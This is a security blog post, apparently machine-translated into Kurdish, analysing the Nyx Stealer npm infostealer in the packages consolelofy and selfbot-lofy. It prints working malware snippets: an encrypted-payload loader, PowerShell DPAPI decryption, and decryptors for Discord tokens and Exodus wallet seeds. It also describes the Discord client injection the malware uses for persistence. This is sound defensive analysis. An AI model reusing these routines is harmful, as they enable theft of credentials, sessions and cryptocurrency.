TL; DR
Tîma Lêkolînên Ewlehiyê ya Xygeni kampanyayeke dizîna agahdariyê ya npm ya sofîstîke destnîşan kir ku bi rêya du pakêtên xerabkar hate pêşkêş kirin: consolelofy û selfbot-lofy.
Guhertoya herî dawî (consolelofy@1.3.0) barkêşek AES-şîfrekirî ya 216KB bicîh dike ku di dema xebitandinê de şîfre dike û bi rêya wê tê bicîhanîn. vm.runInNewContext()Ji ber ku mantiqa xerabkar bi tevahî şîfrekirî ye, skanerên statîk ên ku xwe dispêrin vekolîna rêzikan nikarin tevgera wê heta dema bicîhanînê bişopînin.
Dema ku şîfrekirin, barkêş, bi navgîniya navxweyî Nyx Diz, hedef:
- Nîşaneyên pejirandina Discord
- Zêdetirî 50 firotgehên bawernameyên gerokê
- Zêdetirî 90 dirêjkirinên berîka krîptopereyan
- Danişînên Roblox, Instagram, Spotify, Steam, Telegram, û TikTok
- Berdewamiya xerîdarê sermaseya Discord
Hemû 20 guhertoyên li ser her du pakêtan hatin ragihandin û wekî zirardar hatin piştrast kirin.
Pêşgotina Teknîkî ya Vê npm Infostealer
Berevajî malware-a kevneşopî ya dema sazkirinê, ev kampanya xwe dispêre a davêjin modela şîfrekirinê.
Heye:
- Bê xerabkar
preinstallorpostinstallhooks - Bangên torê yên di dema sazkirinê de eşkere nînin
- Mantîqa berhevkirina bawernameyên nivîsa sade tune ye
Dema ku modul tê hinartin, barkêş çalak dibe. Tevahiya laşê xerabkar şîfrekirî ye û tenê di dema xebitandinê de di bîrê de xuya dibe.
Ev sêwiran bi taybetî di dema sazkirina pakêtê de tespîtkirinê ji holê radike.
Ev npm Infostealer Bi Rastî Çawa Dixebite
Berî ku em analîz bikin ka Nyx Stealer çi didize, divê em fêm bikin çawa pêk tê.
Mantîqa xerabkar a di hundirê vê npm infostealer de qalibek domdar dişopîne:
Barkerek piçûk barkêşek mezin a şîfrekirî deşîfre dike û di çarçoveya Node.js VM de bi awayekî dînamîk pêk tîne.
Ev sêwirandin bi zanebûn e. Êrîşkar ne tenê fonksiyonên xwe li pişt veşartinê vedişêre, ew... rakirina koda xerabkar bi tevahî ji dîtina statîk.
Modela Darvekirinê ya Asta Bilind
Di asta bilind de, pêça pêçan çar tiştan dike:
- Bi karanîna SHA-256, ji şîfreyeke kodkirî mifteyek AES derdixe.
- Nivîsek şîfrekirî ya mezin a bi kodkirina heksadeşî bi karanîna AES-256-CBC şîfre dike.
- JavaScript-a şîfrekirî bi karanîna
vm.runInNewContext() - Qûmek peyda dike ku hîn jî prîmîtîvên dema xebitandinê yên bihêz eşkere dike.
Kurteya Teknîka Sereke
| Perçe | Mîhengkirin / Nirx |
|---|---|
| Algorithm | AES-256-CBC |
| Derxistina Key | SHA-256 (şîfre) |
| Vektora Destpêkirinê (IV) | 16 bayt ji 0x00 |
| Birêverbirî | vm.runInNewContext(şîfrekirî, sandbox) |
Bi girîngî, sandbox di nav re derbas dibe:
requireprocessBuffer- timer
- hinardekirina modulê
Ev tê vê wateyê ku barkêşa şîfrekirî kapasîteya xwe ya tevahî diparêze da ku:
- Pêvajoyên afirandinê
- Pelan bixwîne û binivîse
- Bangên torê bikin
- Guhertina sepanên herêmî
Ev ne VM-yeke bi sînor e. Ew VM-yeke ku wekî trampolîneke îdamê tê bikaranîn.
Şêweya Şîfrekirina Dema Xebitandinê (Mekanîzmaya Bicîhanîna Bingehîn)
Loader piçûk e.
Laşê xerabkar ne wisa ye.
Li jêr şêwaza darvekirinê ya di hundurê pakêtê de ye:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Çima Ev Girîng e
Barkêşiya şîfrekirî:
- Gelo ne di nav pakêta npm de wekî nivîsa sade heye
- Ji bo sade nayê dîtin
grepan jî şopandina rêza statîk - Tenê di dema xebitandinê de di bîrê de çêdibe
- Bi kapasîteyên tevahî yên Node runtime dixebite
Ev kombînasyona darvekirina AES + VM nîşaneyek tevgerî ya bihêz e. dizê agahdariya npm hewl dide ku ji vekolîna statîk bireve.
Bi gotinên din:
Eger hûn dara çavkaniya pakêtê bişopînin, hûn dizekî nabînin.
Tu deşîfrekerekê dibînî.
Piştî Şîfrekirinê Çi Dibe
Piştî ku hate bicîhanîn, Nyx Stealer pêlên berhevkirina daneyên paralel dide destpêkirin.
Pêla 1: Derxistina Bawernameya Gerokê
Malware:
- Demjimêrek runtime ya Python ji NuGet CDN dakêşîne
- Pirtûkxaneyên krîptografîk saz dike
- Depoyên bawernameyê yên li ser bingeha Chromium derdixe
- Nehêniyên ku ji hêla DPAPI ve têne parastin deşîfre dike
Li şûna berhevkirina girêdanên xwemalî, ew ji PowerShell-ê sûd werdigire da ku rasterast gazî Windows DPAPI bike.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Ev rêbaz:
- Berhemanên berhevkirinê ji holê radike
- API-yên krîpto yên xwemalî yên Windows-ê bi kar tîne
- Têkel dibe bi amûrên rêveberiyê re
Ew şîfrekirina bawernameyên asta OS-ê ye, ne scraping.
Pêla 2: Şîfrekirina Nîşana Discordê
Dizker ji protokolê haydar e. Ew formata nîşana şîfrekirî ya Discord fêm dike.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Herikîna operasyonê:
- Mifteya sereke ji Discordê derxînin
Local State - Mifteya sereke bi rêya DPAPI deşîfre bike
- Blobên nîşaneya AES-GCM deşîfre bikin
- Tokenan li hember Discord API-yê piştrast bike
- Bi Nitro, nîşanan, agahdariya fatûreyê dewlemend bikin
Ev ne avêtina bawernameyan a gelemperî ye. Ev revandina danişîna bi hişmendiya protokolê ye.
Pêla 3: Armanckirina Berîka Pereyên Krîpto
Dizê agahdariya npm wiha rêz dike:
- Zêdetirî 90 dirêjkirinên berîka gerokê
- 27 berîkên sermaseyê
- Rêyên berîka sar
- Pelên tovên Exodus
Nimûneya hewldana şîfrekirina tovê:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Eger serkeftî be, tavilê ketina berîkê tavilê û bêveger e.
Ev vektora monetîzasyona nirxa herî bilind a kampanyayê temsîl dike.
Berdewamî bi rêya Discord Desktop Injection
Piştî berhevkirina bawernameyan, Nyx Stealer bi guhertina herêmî hewl dide ku berdewamiyê bide Discord kirrîxwaz.
Armanc:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Rêza Operasyonê
Infostealer gavên jêrîn pêk tîne:
- Pêvajoyên Discord-ê yên xebitandinê bi dawî dike
- Guhertoyên Discord-ê yên sazkirî dibîne (Stable, Canary, PTB)
- Zêde dinivîse
discord_desktop_core/index.js - Mantîqa webhook-a ku ji hêla êrîşkar ve tê kontrol kirin derzî dike
- Discordê ji nû ve dest pê dike
Ev piştrast dike ku danişînên Discord ên pêşerojê bixweber nîşanên pejirandina nû derdixin.
Ya girîng ew e ku ev berdewamî ne girêdayî karên bernamekirî an guhertinên qeydê ye. Ew guhertina koda asta serîlêdanê, ku rêbazek veşartî ye, bikar tîne.
Tewra ku pakêta npm ya xerabkar paşê were rakirin jî, xerîdarê Discord hîn jî xeternak dimîne.
Berawirdkirina Teknîkî: Selfbot-a Rewa li hember npm Infostealer
| Perçe | Pirtûkxaneya Rewa | Dizê Agahdariyê yê Nyx npm |
|---|---|---|
| Şîfrekirin, | Netû | Barkêşiya tevahî ya şîfrekirî ya AES |
| VM-ya dema xebitandinê | Ne hewce ye | vm.runInNewContext birêverbirî |
| Gihîştina Bawernameyê | Tenê API-ya Discord | Gerok, berîka, DPAPI |
| Dakêşanên Derveyî | Na | Dema xebitandina Python bi rêya NuGet |
| Li sersekinî | Na | Derzîkirina xerîdarê Discord |
| Monetization | Otomasyona botê | Ji nû ve firotina bawernameyan |
Tenê çîna şîfrekirinê vê kampanyayê ji forkek çavkaniya vekirî ya tîpîk vediqetîne.
Selfbotekî Discordê yê rewa ti sedemek tune ku tevahiya koda xwe şîfre bike, PowerShell bikar bîne da ku bigihîje DPAPI, demên xebitandinê yên derveyî dakêşîne, an jî navxweyîyên sepanên sermaseyê biguherîne. Dema ku ew şiyan di hundurê girêdayîbûnek de xuya dibin ku îdîa dike ku têkiliyên Discord otomatîk dike, nehevsengiya mîmarî ne gengaz e ku were paşguh kirin.
Ji aliyê lêkolînê ve, ev dizîna agahdariyê ya npm li ser gelek tebeqeyan şopan dihêle. Lêbelê, nîşaneyên herî pêbawer ne URL-yên kodkirî yên hişk an rêyên pelên taybetî ne, ji ber ku ew dikarin di navbera guhertoyan de biguherin. Di şûna wê de, sînyalên domdar avahî ne.
Di asta pakêtê de, ala sor a herî bihêz têkeliya barkêşek şîfrekirî ya mezin û pêça şîfrekirinê ya dema xebitandinê ye ku tavilê bi rêya wê tê bicîhanîn. vm.runInNewContext()Her çend şîfrekirin bi tena serê xwe bi xwezayî zirardar nebe jî, karanîna şîfrekirina AES û dûv re jî pêkanîna VM ya dînamîk di hundurê pakêtek amûrê Discord de pir anormal e.
Di asta mêvandar de, qalibên gumanbar çalakiya şîfrekirina DPAPI ya nediyar, derketina pêvajoyê ji çarçoveya girêdayîbûna Node.js, û guherandina pelên sepanên herêmî yên ku divê qet ji hêla pirtûkxaneyên partiya sêyemîn ve neyên guhertin vedihewîne. Bi heman awayî, di qata torê de, ragihandina bi şêwaza webhook a derketî ku ji hêla girêdayîbûna pêşkeftinê ve hatî destpêkirin anomaliyek din a watedar temsîl dike.
Bi gotineke din, rûyê tespîtkirinê nîşaneyeke yekane ya tahrîbatê nîne. Ew têkiliya şîfrekirinê, pêkanîna dema xebitandinê, gihîştina bawernameyê, û tevgera domdariyê ye ku tehdîdê eşkere dike.
Tesbîtkirin û Kêmkirina Tedbîran bi Xygeni re
Ev dizê agahdariya npm ji hêla ve hate nas kirin Hişyariya Zû ya Malware ya Xygeni (MEW) bi rêya têkiliya tevgerî ya qatqatî li şûna hevahengiya îmzeyê ya sade.
Li şûna lêgerîna rêzikên zirardar ên naskirî, MEW anomalîyên avahîsaziyê li seranserê dara çavkaniyê ya tevahî dinirxîne. Di vê rewşê de, tespîtkirin ji hevgirtina çend sînyalan derket holê: rûtînek şîfrekirina AES-ê ya çandî di xala têketina modulê de, bicîhanîna tavilê di hundurê çarçoveyek VM-ê de, û nelihevhatinek eşkere ya şiyan-bi-niyetê.
Girîng e ku yek ji van îşaretan bi tena serê xwe niyeta xerab îspat nake. Lêbelê, dema ku bi hev re têne analîzkirin, ew hewldanek ji bo veşartina tevgera dema xebitandinê eşkere dikin. Ev rêbaza qatqatî bi girîngî pozîtîfên derewîn kêm dike dema ku gefên zincîra dabînkirinê ya bi pêbaweriya bilind destnîşan dike.
Herwiha, ev rewş nîşan dide çima tenê teftîşa dema sazkirinê têrê nake. Mantîqa xerabkar di skrîptên çerxa jiyanê de namîne. Ew tenê piştî barkirina modulê çalak dibe û tenê piştî şîfrekirinê di bîrê de xuya dibe. Ji ber vê yekê, parastina bi bandor analîzek hişyar a şîfrekirinê, naskirina şêwaza tevgerî, û çavdêriya domdar a girêdayîbûnê ji bûyerên sazkirinê wêdetir hewce dike.
Rakirina qeydê bertek nîşan dide. Analîza dema xebitandinê pêşîlêgirtinê ye.
Çima Ev npm Infostealer Girîng e
Nyx Stealer pêşveçûnek avahîsazî di malware-ya li ser bingeha npm-ê de temsîl dike.
Di dîrokê de, gelek pakêtên xerabkar xwe dispêrin skrîptên dema sazkirinê yên xuya an jî xalên dawî yên eşkere yên derxistina bawernameyan. Berevajî vê, ev kampanya barê xwe şîfre dike, pêkanînê ji bo dema xebitandinê paş dixe, API-yên pergala xebitandinê yên rewa bikar tîne, û di hundurê sepanên pêbawer de domdariyê ava dike.
Ji ber vê yekê, êrîşkar ne hewce ye ku binesaziya npm bi xwe bikar bîne. Di şûna wê de, êrîş bi ser dikeve ji ber ku sazkirina girêdayîbûnê baweriyê nîşan dide. Pêşdebir texmîn dikin ku îtxalkirina pirtûkxaneyek operasyonek ewledar e, nemaze dema ku ew xwe wekî forkek maqûl a amûrek populer pêşkêş dike.
Her ku ekosîstem mezin dibin û fork zêde dibin, ew sînorê baweriya nepenî dibe rûberek êrîşê ya her ku diçe balkêştir. Ji ber vê yekê, parastina li dijî dizên agahdariyê yên npm yên nûjen hewce dike ku şêwazên mîmarî nas bikin ne ku li rêzikên statîk bigerin.
Di dawiyê de, ev kampanya dersek girîng di derbarê software supply chain security: gefên herî xeternak ne ew in ku di nihêrîna pêşîn de xerabkar xuya dikin, lê ew in ku ji hêla avahîsaziyê ve rewa xuya dikin heya ku dema xebitandinê tevgera wan a rastîn eşkere bike.




